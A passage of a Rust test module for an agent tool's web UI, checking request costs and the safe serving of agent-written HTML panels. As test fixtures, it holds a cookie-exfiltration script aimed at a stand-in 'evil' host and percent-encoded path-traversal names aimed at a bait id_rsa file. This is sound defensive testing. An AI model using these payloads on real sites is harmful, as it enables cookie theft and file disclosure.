11764            fx.runs()
11765                .join(&state.id)
11766                .join("artifacts/eviction-review-1.json"),
11767            serde_json::to_vec(&record).unwrap(),
11768        )
11769        .unwrap();
11770        std::fs::remove_dir_all(&repo).unwrap();
11771        let url = format!("/api/runs/{}/seat-evidence", state.id);
11772        let list = fx.get(&url).await;
11773        assert_eq!(list.status, 200, "{}", list.body);
11774        assert_eq!(list.json()[&head], "review-1");
11775        let patch = fx.get(&format!("{url}/{head}")).await;
11776        assert_eq!(patch.status, 200, "{}", patch.body);
11777        assert!(patch.body.contains("+archived review"));
11778        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11779        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11780        assert_eq!(fx.get(&url).await.status, 404);
11781        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11782    }
11783
11784    fn request_counts(res: &Res) -> (usize, usize) {
11785        assert_eq!(res.status, 200, "{}", res.body);
11786        (
11787            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11788            res.header("x-test-git").unwrap().parse().unwrap(),
11789        )
11790    }
11791
11792    #[tokio::test]
11793    async fn list_request_cost_is_independent_of_record_count() {
11794        let (_tmp, repos, fx) = performance_fixture().await;
11795        let mut previous = None;
11796        for n in [4, 60] {
11797            seed_performance(&fx, &repos, n, n, n);
11798            let mut costs = Vec::new();
11799            for (path, discoveries) in [
11800                ("/api/questions", 1),
11801                ("/api/talks", 0),
11802                ("/api/health", 0),
11803                ("/api/stats", 1),
11804            ] {
11805                // Equal cold extraction caches at both scales; this also
11806                // bounds first-request cost instead of only warmed requests.
11807                for repo in &repos {
11808                    let cache = repo.join(".git/magi/config");
11809                    if cache.exists() {
11810                        std::fs::remove_dir_all(cache).unwrap();
11811                    }
11812                }
11813                let cost = request_counts(&fx.get(path).await);
11814                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11815                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11816                assert!(
11817                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11818                    "{path}: {cost:?}"
11819                );
11820                costs.push(cost);
11821            }
11822            if let Some(previous) = previous {
11823                assert_eq!(costs, previous);
11824            }
11825            previous = Some(costs);
11826        }
11827        // runs reads shared row inputs and probes process liveness; queue
11828        // builds one blocker inventory; notifications reads its own store.
11829        // None discovers configuration or spawns git per item.
11830    }
11831
11832    /// The same handler path without transport, so the deterministic cause
11833    /// can also be checked in environments that prohibit binding sockets.
11834    #[tokio::test]
11835    async fn list_handler_cost_without_transport() {
11836        let (_tmp, repos) = performance_repositories().await;
11837        let fx = Fixture {
11838            home: TempDir::new().unwrap(),
11839            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11840        };
11841        let ui = Arc::new(
11842            Ui::new(
11843                fx.queue(),
11844                fx.questions(),
11845                fx.talks(),
11846                fx.runs(),
11847                fx.home.path().to_path_buf(),
11848                repos[0].clone(),
11849            )
11850            .with_worktrees_root(fx.home.path().join("wt")),
11851        );
11852        let mut previous = None;
11853        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11854            seed_performance(&fx, &repos, n, runs, items);
11855            let mut costs = Vec::new();
11856            for endpoint in ["questions", "talks", "health", "stats"] {
11857                for repo in &repos {
11858                    let cache = repo.join(".git/magi/config");
11859                    if cache.exists() {
11860                        std::fs::remove_dir_all(cache).unwrap();
11861                    }
11862                }
11863                let (_, cost) = request_cost::measure(async {
11864                    match endpoint {
11865                        "questions" => {
11866                            let _ = questions_list(State(ui.clone())).await.unwrap();
11867                        }
11868                        "talks" => {
11869                            let _ = talks_list(
11870                                State(ui.clone()),
11871                                Query(ListQuery {
11872                                    limit: None,
11873                                    ids: None,
11874                                }),
11875                                header::HeaderMap::new(),
11876                            )
11877                            .await
11878                            .unwrap();
11879                        }
11880                        "health" => {
11881                            let _ = health(State(ui.clone())).await.unwrap();
11882                        }
11883                        _ => {
11884                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11885                                .await
11886                                .unwrap();
11887                        }
11888                    }
11889                })
11890                .await;
11891                eprintln!("{endpoint} handler N={n}: {cost:?}");
11892                assert_eq!(
11893                    cost.0,
11894                    if matches!(endpoint, "talks" | "health") {
11895                        0
11896                    } else {
11897                        1
11898                    },
11899                    "{endpoint}"
11900                );
11901                assert!(
11902                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11903                    "{endpoint}: {cost:?}"
11904                );
11905                costs.push(cost);
11906            }
11907            if let Some(previous) = previous {
11908                assert_eq!(costs, previous);
11909            }
11910            previous = Some(costs);
11911        }
11912    }
11913
11914    #[tokio::test]
11915    async fn list_request_cost_scopes_do_not_mix() {
11916        let (_tmp, repos, fx) = performance_fixture().await;
11917        seed_performance(&fx, &repos, 10, 0, 10);
11918        let (questions, talks, notices) = tokio::join!(
11919            fx.get("/api/questions"),
11920            fx.get("/api/talks"),
11921            fx.get("/api/notifications")
11922        );
11923        assert_eq!(request_counts(&questions).0, 1);
11924        // Cached summaries perform no config discovery or git work, even
11925        // alongside the questions request that still discovers config.
11926        assert_eq!(request_counts(&talks), (0, 0));
11927        assert_eq!(request_counts(&notices), (0, 0));
11928    }
11929
11930    #[tokio::test]
11931    async fn list_endpoints_large_home_responses() {
11932        check_large_home_endpoints(false).await;
11933    }
11934
11935    #[tokio::test]
11936    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11937    async fn list_endpoints_large_home_ceiling() {
11938        check_large_home_endpoints(true).await;
11939    }
11940
11941    async fn check_large_home_endpoints(timed: bool) {
11942        let (_tmp, repos, fx) = performance_fixture().await;
11943        seed_performance(&fx, &repos, 200, 300, 400);
11944        let mut failures = Vec::new();
11945        // app.js boot/change loads plus the initial dashboard, settings and
11946        // repo picker. SSE is a persistent stream, not a bounded GET.
11947        for path in [
11948            "/",
11949            "/app.js",
11950            "/app.css",
11951            "/api/questions",
11952            "/api/runs?limit=300",
11953            "/api/queue",
11954            "/api/talks",
11955            "/api/notifications",
11956            "/api/health",
11957            "/api/stats",
11958            "/api/loop",
11959            "/api/settings",
11960            "/api/repos",
11961        ] {
11962            let start = std::time::Instant::now();
11963            let result = if timed {
11964                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11965            } else {
11966                Ok(fx.get(path).await)
11967            };
11968            let elapsed = start.elapsed();
11969            eprintln!("{path}: {elapsed:?}");
11970            match result {
11971                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11972                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11973                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11974            }
11975        }
11976        assert!(failures.is_empty(), "{}", failures.join("\n"));
11977    }
11978
11979    struct Res {
11980        status: u16,
11981        headers: String,
11982        /// The header block with its original casing, for the assertions that
11983        /// compare a header *value* rather than looking for a name. Lowercasing
11984        /// a CSP would hide a directive spelled with a capital letter, and the
11985        /// whole point of that test is that the string is exactly right.
11986        head: String,
11987        body: String,
11988        /// The body before any UTF-8 handling, for the routes that serve
11989        /// something other than text. A panel asset is a PNG as often as not,
11990        /// and `from_utf8_lossy` would silently replace half of it.
11991        bytes: Vec<u8>,
11992    }
11993
11994    impl Res {
11995        fn json(&self) -> Value {
11996            serde_json::from_str(&self.body)
11997                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11998        }
11999
12000        /// One header's value verbatim, or `None` when it was not sent.
12001        fn header(&self, name: &str) -> Option<&str> {
12002            self.head.lines().find_map(|line| {
12003                let (key, value) = line.split_once(':')?;
12004                key.trim()
12005                    .eq_ignore_ascii_case(name)
12006                    .then(|| value.trim_start().trim_end_matches('\r'))
12007            })
12008        }
12009    }
12010
12011    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12012    /// be read to end-of-stream without parsing framing.
12013    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12014        request_with(addr, method, path, body, &[]).await
12015    }
12016
12017    /// As [`request`], with extra request headers - conditional GETs need
12018    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12019    /// worse than one that sets none.
12020    async fn request_with(
12021        addr: SocketAddr,
12022        method: &str,
12023        path: &str,
12024        body: Option<&str>,
12025        extra: &[(&str, &str)],
12026    ) -> Res {
12027        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12028        for (name, value) in extra {
12029            head.push_str(&format!("{name}: {value}\r\n"));
12030        }
12031        if let Some(body) = body {
12032            head.push_str("Content-Type: application/json\r\n");
12033            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12034        }
12035        head.push_str("\r\n");
12036        if let Some(body) = body {
12037            head.push_str(body);
12038        }
12039        let mut socket = tokio::net::TcpStream::connect(addr)
12040            .await
12041            .expect("connect to the test server");
12042        socket
12043            .write_all(head.as_bytes())
12044            .await
12045            .expect("write request");
12046        let mut raw = Vec::new();
12047        socket.read_to_end(&mut raw).await.expect("read response");
12048        // Split on the raw bytes rather than on a lossy string, so a binary
12049        // body survives to be compared byte for byte.
12050        let split = raw
12051            .windows(4)
12052            .position(|w| w == b"\r\n\r\n")
12053            .expect("a header block");
12054        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12055        let bytes = raw[split + 4..].to_vec();
12056        let status = head
12057            .lines()
12058            .next()
12059            .and_then(|line| line.split_whitespace().nth(1))
12060            .and_then(|code| code.parse().ok())
12061            .expect("a status line");
12062        Res {
12063            status,
12064            headers: head.to_lowercase(),
12065            head,
12066            body: String::from_utf8_lossy(&bytes).into_owned(),
12067            bytes,
12068        }
12069    }
12070
12071    /// A `POST` carrying a raw binary body and its own headers, for the
12072    /// attachment upload route - `request_with` only ever sends
12073    /// `Content-Type: application/json`, which is wrong for an image and
12074    /// would corrupt anything not valid UTF-8 by round-tripping it through
12075    /// `&str` first.
12076    async fn request_bytes(
12077        addr: SocketAddr,
12078        path: &str,
12079        headers: &[(&str, &str)],
12080        body: &[u8],
12081    ) -> Res {
12082        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12083        for (name, value) in headers {
12084            head.push_str(&format!("{name}: {value}\r\n"));
12085        }
12086        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12087        let mut socket = tokio::net::TcpStream::connect(addr)
12088            .await
12089            .expect("connect to the test server");
12090        socket
12091            .write_all(head.as_bytes())
12092            .await
12093            .expect("write request head");
12094        socket.write_all(body).await.expect("write request body");
12095        let mut raw = Vec::new();
12096        socket.read_to_end(&mut raw).await.expect("read response");
12097        let split = raw
12098            .windows(4)
12099            .position(|w| w == b"\r\n\r\n")
12100            .expect("a header block");
12101        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12102        let bytes = raw[split + 4..].to_vec();
12103        let status = head
12104            .lines()
12105            .next()
12106            .and_then(|line| line.split_whitespace().nth(1))
12107            .and_then(|code| code.parse().ok())
12108            .expect("a status line");
12109        Res {
12110            status,
12111            headers: head.to_lowercase(),
12112            head,
12113            body: String::from_utf8_lossy(&bytes).into_owned(),
12114            bytes,
12115        }
12116    }
12117
12118    /// A run on disk, without touching the process-global magi home.
12119    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12120        let mut state = RunState::new(
12121            PathBuf::from("/repo/magi"),
12122            "main".to_owned(),
12123            "0123456789abcdef".to_owned(),
12124            "Add a web UI\n\nMobile first.".to_owned(),
12125            Config::default(),
12126        );
12127        state.id = id.to_owned();
12128        state.status = status;
12129        let dir = runs.join(id);
12130        std::fs::create_dir_all(&dir).expect("run dir");
12131        std::fs::write(
12132            dir.join("run.json"),
12133            serde_json::to_string_pretty(&state).expect("serialize run"),
12134        )
12135        .expect("write run.json");
12136    }
12137
12138    /// Same as [`write_run`], but against a named repository rather than the
12139    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12140    /// spread across more than one.
12141    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12142        let mut state = RunState::new(
12143            PathBuf::from(repo),
12144            "main".to_owned(),
12145            "0123456789abcdef".to_owned(),
12146            "task".to_owned(),
12147            Config::default(),
12148        );
12149        state.id = id.to_owned();
12150        state.status = status;
12151        let dir = runs.join(id);
12152        std::fs::create_dir_all(&dir).expect("run dir");
12153        std::fs::write(
12154            dir.join("run.json"),
12155            serde_json::to_string_pretty(&state).expect("serialize run"),
12156        )
12157        .expect("write run.json");
12158    }
12159
12160    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12161        let body = serde_json::json!({
12162            "schema": 1,
12163            "pid": 4242,
12164            "started_at": Timestamp::now().to_string(),
12165            "updated_at": updated_at.to_string(),
12166            "idle": false,
12167            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12168            "completed": 7,
12169            "polls": 143,
12170        });
12171        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12172    }
12173
12174    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12175    ///
12176    /// No test in this file may start the real loop - see [`Ui::launch`] for
12177    /// why - so this stands in for the only thing the routes need a loop to
12178    /// do: keep running until `Stop` is set, then return. A real
12179    /// `serve_until` here would resolve its queue and its status file through
12180    /// the process-global magi home, claim whatever it found in the
12181    /// operator's live backlog, overwrite the status file of the `magi serve`
12182    /// that owns it, and spend real agent quota on a real competition.
12183    fn launch_idle(
12184        _opts: daemon::Opts,
12185        stop: daemon::Stop,
12186    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12187        Box::pin(async move {
12188            while !stop.stopped() {
12189                tokio::time::sleep(Duration::from_millis(2)).await;
12190            }
12191            Ok(())
12192        })
12193    }
12194
12195    /// A loop that fails on the way up, the way one whose home has gone
12196    /// read-only does.
12197    fn launch_broken(
12198        _opts: daemon::Opts,
12199        _stop: daemon::Stop,
12200    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12201        // The stand-in dies instantly, so a restarted one can record its own
12202        // failure before the start's response is read. The second attempt
12203        // therefore fails with a different message, to tell a stale error
12204        // from a fresh one.
12205        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12206        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12207        Box::pin(async move {
12208            Err(anyhow::anyhow!(if first {
12209                "publish the daemon status file: read-only file system"
12210            } else {
12211                "the restarted stand-in failed as well"
12212            }))
12213        })
12214    }
12215
12216    /// The loop view once `want` accepts it.
12217    ///
12218    /// Polled rather than asserted straight after the POST because stopping
12219    /// is deliberately not instant - that is the contract - and rather than
12220    /// slept through because a fixed wait is either flaky or slow.
12221    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12222    /// finite, so a genuine hang fails the test instead of hanging the
12223    /// suite.
12224    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12225        for _ in 0..SETTLE_STEPS {
12226            let view = fx.get("/api/loop").await.json();
12227            if want(&view) {
12228                return view;
12229            }
12230            tokio::time::sleep(Duration::from_millis(10)).await;
12231        }
12232        panic!(
12233            "the loop never settled: {}",
12234            fx.get("/api/loop").await.json()
12235        );
12236    }
12237
12238    /// File an open question directly in the store the server reads.
12239    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12240        let store = fx.questions();
12241        let mut q = Question::new(
12242            "20260902-000000-beef".to_owned(),
12243            "implement".to_owned(),
12244            "impl-A".to_owned(),
12245            summary.to_owned(),
12246            "because it matters".to_owned(),
12247            choices.iter().map(|c| (*c).to_owned()).collect(),
12248        );
12249        store.put(&mut q).expect("put question");
12250        q.id
12251    }
12252
12253    /// A question with a panel the server can serve, plus the named assets.
12254    ///
12255    /// Written through `Questions::put_panel` rather than by laying out the
12256    /// directory here, so these tests exercise the same on-disk shape the
12257    /// agents produce and cannot pass against a layout only the tests know.
12258    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12259        let store = fx.questions();
12260        let mut q = Question::new(
12261            "20260902-000000-beef".to_owned(),
12262            "land".to_owned(),
12263            "fix".to_owned(),
12264            "Merge this?".to_owned(),
12265            "the diff is in the panel".to_owned(),
12266            vec!["merge".to_owned(), "hold".to_owned()],
12267        );
12268        // Staged outside the questions root, because `put_panel` copies from
12269        // wherever the agent left its files.
12270        let staging = fx.home.path().join("staging");
12271        std::fs::create_dir_all(&staging).expect("staging dir");
12272        let sources: Vec<PathBuf> = assets
12273            .iter()
12274            .map(|(name, bytes)| {
12275                let path = staging.join(name);
12276                std::fs::write(&path, bytes).expect("write staged asset");
12277                path
12278            })
12279            .collect();
12280        store
12281            .put_panel(&mut q, html, &sources)
12282            .expect("write the panel");
12283        store.put(&mut q).expect("put question");
12284        q.id
12285    }
12286
12287    /// A talk on disk, without talking to a model.
12288    ///
12289    /// Written as JSON straight into the store the server reads, because the
12290    /// only constructor `talk::begin` offers takes no turn but still requires
12291    /// a real caller-visible flow. The one thing this cannot make up is the
12292    /// seat, so it is built with the real `SeatState::new` and serialized -
12293    /// the alternative, hand-writing that object, would make these tests fail
12294    /// the day the seat gains a field.
12295    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12296        seed_talk_at(&fx.talks(), id, status)
12297    }
12298
12299    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12300        std::fs::create_dir_all(store.root()).expect("talks dir");
12301        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12302            .expect("serialize a seat");
12303        let body = serde_json::json!({
12304            "schema": 1,
12305            "id": id,
12306            "repo": "/repo/magi",
12307            "agent": "mock",
12308            "status": status,
12309            "turns": [],
12310            "created_at": Timestamp::now().to_string(),
12311            "updated_at": Timestamp::now().to_string(),
12312            "seat": seat,
12313        });
12314        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12315        store.get(id).expect("the seeded talk has to be readable");
12316        id.to_owned()
12317    }
12318
12319    #[tokio::test]
12320    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12321        let fx = Fixture::start().await;
12322        let id = panel(
12323            &fx,
12324            "<h1>Merge?</h1><img src=\"diff.svg\">",
12325            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12326        );
12327
12328        for path in [
12329            format!("/api/questions/{id}/panel"),
12330            format!("/api/questions/{id}/asset/diff.svg"),
12331        ] {
12332            let res = fx.get(&path).await;
12333            assert_eq!(res.status, 200, "{path}: {}", res.body);
12334            // The whole string, not a substring. A weakened directive - an
12335            // `img-src *` that lets a panel beacon out to a remote host, a
12336            // `script-src` anything, a missing `form-action` that lets it post
12337            // the owner's decision to a third party - has to fail here, and a
12338            // `contains` assertion would let every one of those through.
12339            assert_eq!(
12340                res.header("content-security-policy"),
12341                Some(
12342                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12343                     font-src data:; base-uri 'none'; form-action 'none'; \
12344                     frame-ancestors 'self'"
12345                ),
12346                "{path} is the only thing between a hostile panel and the tailnet"
12347            );
12348            assert_eq!(
12349                res.header("x-content-type-options"),
12350                Some("nosniff"),
12351                "{path}: a browser must not re-decide the type we sent"
12352            );
12353            assert_eq!(
12354                res.header("referrer-policy"),
12355                Some("no-referrer"),
12356                "{path}: a panel must not leak the question id off the machine"
12357            );
12358
12359            // The front end mounts the frame only after a `HEAD` says the
12360            // panel is there, so `HEAD` has to answer with the same status and
12361            // the same policy as `GET` - a preflight that came back without
12362            // the CSP would mean a frame mounted on an unverified promise.
12363            let pre = fx.head(&path).await;
12364            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12365            assert_eq!(
12366                pre.header("content-security-policy"),
12367                res.header("content-security-policy"),
12368                "{path}: the preflight carries the same policy"
12369            );
12370            assert_eq!(
12371                pre.header("content-type"),
12372                res.header("content-type"),
12373                "{path}: the preflight carries the same type"
12374            );
12375        }
12376    }
12377
12378    #[tokio::test]
12379    async fn a_panel_reaches_the_browser_byte_for_byte() {
12380        let fx = Fixture::start().await;
12381        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12382        // tag, an entity, and a multi-byte character. The sandbox is what makes
12383        // this safe, so nothing here may be rewritten on the way out - a
12384        // rewritten diff is a diff the owner cannot trust.
12385        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12386        let id = panel(&fx, html, &[]);
12387
12388        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12389
12390        assert_eq!(res.status, 200);
12391        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12392        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12393        assert_eq!(
12394            res.header("content-disposition"),
12395            None,
12396            "the panel itself is rendered in the frame, not downloaded"
12397        );
12398    }
12399
12400    #[tokio::test]
12401    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12402        let fx = Fixture::start().await;
12403        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12404        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12405        let id = panel(
12406            &fx,
12407            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12408            &[("diff.svg", svg), ("shot.png", png)],
12409        );
12410
12411        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12412        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12413
12414        assert_eq!(as_svg.status, 200);
12415        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12416        // An SVG is XML that may carry script. Inside the panel it is an
12417        // `<img src>` and the script cannot run; opened at the top level it
12418        // would be a document on magi's own origin, so the browser is told to
12419        // download it instead of rendering it.
12420        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12421
12422        assert_eq!(as_png.status, 200);
12423        assert_eq!(as_png.header("content-type"), Some("image/png"));
12424        assert_eq!(
12425            as_png.header("content-disposition"),
12426            None,
12427            "a raster image has no execution surface, so tapping it still shows it"
12428        );
12429        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12430    }
12431
12432    #[tokio::test]
12433    async fn an_html_asset_is_never_served_as_html() {
12434        let fx = Fixture::start().await;
12435        let id = panel(
12436            &fx,
12437            "<p>see the notes</p>",
12438            &[
12439                (
12440                    "notes.html",
12441                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12442                ),
12443                ("hook.js", b"fetch('http://evil/')"),
12444                ("data.json", b"{}"),
12445                ("HEADLINE.TXT", b"plain"),
12446            ],
12447        );
12448
12449        for name in ["notes.html", "hook.js", "data.json"] {
12450            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12451            assert_eq!(res.status, 200, "{name}: {}", res.body);
12452            // Serving this as text/html would be a way to reach agent markup
12453            // at the top level of the operator's browser, outside the frame's
12454            // sandbox and outside its CSP - which is the whole thing the panel
12455            // design exists to prevent. Unlisted types are downloads.
12456            assert_eq!(
12457                res.header("content-type"),
12458                Some("application/octet-stream"),
12459                "{name} must not be a type the browser will execute or render"
12460            );
12461        }
12462        // The whitelist is matched case-insensitively, so an agent shouting the
12463        // extension still gets a readable file rather than a download.
12464        let txt = fx
12465            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12466            .await;
12467        assert_eq!(
12468            txt.header("content-type"),
12469            Some("text/plain; charset=utf-8")
12470        );
12471    }
12472
12473    #[tokio::test]
12474    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12475        let fx = Fixture::start().await;
12476        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12477        // Something outside the panel directory that a traversal would reach if
12478        // one got through, so a passing test is not merely "the file was
12479        // missing anyway".
12480        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12481
12482        // Decoded before this server's handler sees them: axum percent-decodes
12483        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12484        // string with a NUL in it. All three look like ordinary single-segment
12485        // filenames to the router, so the router passes them through and
12486        // `valid_asset_name` is what refuses them - for the literal `..`, and
12487        // for `/`, `\` and NUL not being in the permitted character set.
12488        for encoded in [
12489            "%2e%2e%2fid_rsa",
12490            "..%2fid_rsa",
12491            "..%5cid_rsa",
12492            "%2e%2e%5cid_rsa",
12493            "diff%00.svg",
12494            "..",
12495            ".hidden",
12496            "%2e%2e%2f%2e%2e%2fid_rsa",
12497        ] {
12498            let res = fx
12499                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12500                .await;
12501            assert_eq!(
12502                res.status, 400,
12503                "`{encoded}` has to be refused by name, not looked up: {}",
12504                res.body
12505            );
12506            assert!(res.json()["error"].is_string(), "{}", res.body);
12507        }
12508
12509        // Not decoded, and never this handler's problem: a real slash makes the
12510        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12511        // so axum's router has no route to match and answers before any code
12512        // here runs. Asserted so that a future route with a wildcard segment
12513        // cannot quietly open this door.
12514        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12515            let res = fx
12516                .get(&format!("/api/questions/{id}/asset/{literal}"))
12517                .await;
12518            assert_eq!(
12519                res.status, 404,
12520                "`{literal}` must not match the asset route at all: {}",
12521                res.body
12522            );
12523        }
12524    }
12525
12526    #[tokio::test]
12527    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12528        let fx = Fixture::start().await;
12529        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12530        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12531
12532        // A question nobody wrote a panel for. The client preflights with HEAD
12533        // and cannot see inside a sandboxed frame, so this must be a status and
12534        // not an empty page.
12535        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12536        assert_eq!(none.status, 404, "{}", none.body);
12537        assert!(none.json()["error"].is_string(), "{}", none.body);
12538        assert_eq!(
12539            fx.head(&format!("/api/questions/{plain}/panel"))
12540                .await
12541                .status,
12542            404,
12543            "the preflight is the only way the client can learn this"
12544        );
12545
12546        // A name that is perfectly legal and simply is not there.
12547        let missing = fx
12548            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12549            .await;
12550        assert_eq!(missing.status, 404, "{}", missing.body);
12551        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12552
12553        // A question that does not exist at all, on both routes.
12554        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12555        assert_eq!(
12556            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12557            404
12558        );
12559    }
12560
12561    #[tokio::test]
12562    async fn a_run_with_an_open_question_reads_as_waiting() {
12563        let fx = Fixture::start().await;
12564        let run = "20260902-000000-beef".to_owned();
12565        write_run(&fx.runs(), &run, RunStatus::Implementing);
12566
12567        let before = fx.get("/api/runs").await.json();
12568        assert_eq!(before[0]["waiting"], false, "{before}");
12569
12570        let store = fx.questions();
12571        let mut q = Question::new(
12572            run.clone(),
12573            "implement".to_owned(),
12574            "impl-A".to_owned(),
12575            "Which backend?".to_owned(),
12576            String::new(),
12577            vec!["SQLite".to_owned()],
12578        );
12579        store.put(&mut q).expect("put");
12580
12581        let during = fx.get("/api/runs").await.json();
12582        assert_eq!(during[0]["waiting"], true, "{during}");
12583
12584        // Answered: the run is moving again, and the flag has to follow without
12585        // anything having rewritten run.json.
12586        q.answer(Answer::Choice("SQLite".to_owned()))
12587            .expect("answer");
12588        store.put(&mut q).expect("put");
12589        let after = fx.get("/api/runs").await.json();
12590        assert_eq!(after[0]["waiting"], false, "{after}");
12591    }
12592
12593    #[tokio::test]
12594    async fn an_open_question_is_listed_and_counted_by_health() {
12595        let fx = Fixture::start().await;
12596        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12597
12598        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12599        let listed = fx.get("/api/questions").await.json();
12600        assert_eq!(listed.as_array().expect("array").len(), 1);
12601        assert_eq!(listed[0]["id"], id);
12602        assert_eq!(listed[0]["status"], "open");
12603        assert_eq!(listed[0]["choices"][1], "Redis");
12604        // The count is what makes the phone's indicator honest: it is the one
12605        // number meaning nothing will move until a human acts.
12606        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12607    }
12608
12609    fn obsolete_approval_state() -> RunState {
12610        let mut state = crate::land::tests::repair_state(true, true);
12611        state.pr = Some(crate::run::PrRecord {
12612            url: "https://github.com/example/repo/pull/42".into(),
12613            number: 42,
12614            state: "open".into(),
12615            checks: "green".into(),
12616            round: 1,
12617            rounds: 4,
12618            red_at_merge: Vec::new(),
12619        });
12620        state
12621    }
12622
12623    #[tokio::test]
12624    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12625        for owner in ["missing", "current", "completed", "later"] {
12626            let fx = Fixture {
12627                home: TempDir::new().unwrap(),
12628                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12629            };
12630            let mut state = obsolete_approval_state();
12631            state.status = RunStatus::Landing;
12632            state.parked = true;
12633            state.driver_exited = true;
12634            let mut q = Question::new(
12635                state.id.clone(),
12636                crate::land::APPROVAL_NODE.into(),
12637                "land".into(),
12638                "Old approval".into(),
12639                "Original evidence".into(),
12640                vec!["merge".into(), "hold".into()],
12641            );
12642            state.land_approval = Some(crate::run::LandApproval {
12643                question: q.id.clone(),
12644                head: "head".into(),
12645            });
12646            state.save_under(fx.home.path()).unwrap();
12647            let stale = state.clone();
12648            fx.questions().put(&mut q).unwrap();
12649            let mut task = Task::new(
12650                "Owner".into(),
12651                "Original instruction".into(),
12652                state.repo.clone(),
12653                Source::Human,
12654            );
12655            task.runs.push(state.id.clone());
12656            task.status = if owner == "completed" {
12657                TaskStatus::Done
12658            } else {
12659                TaskStatus::Parked
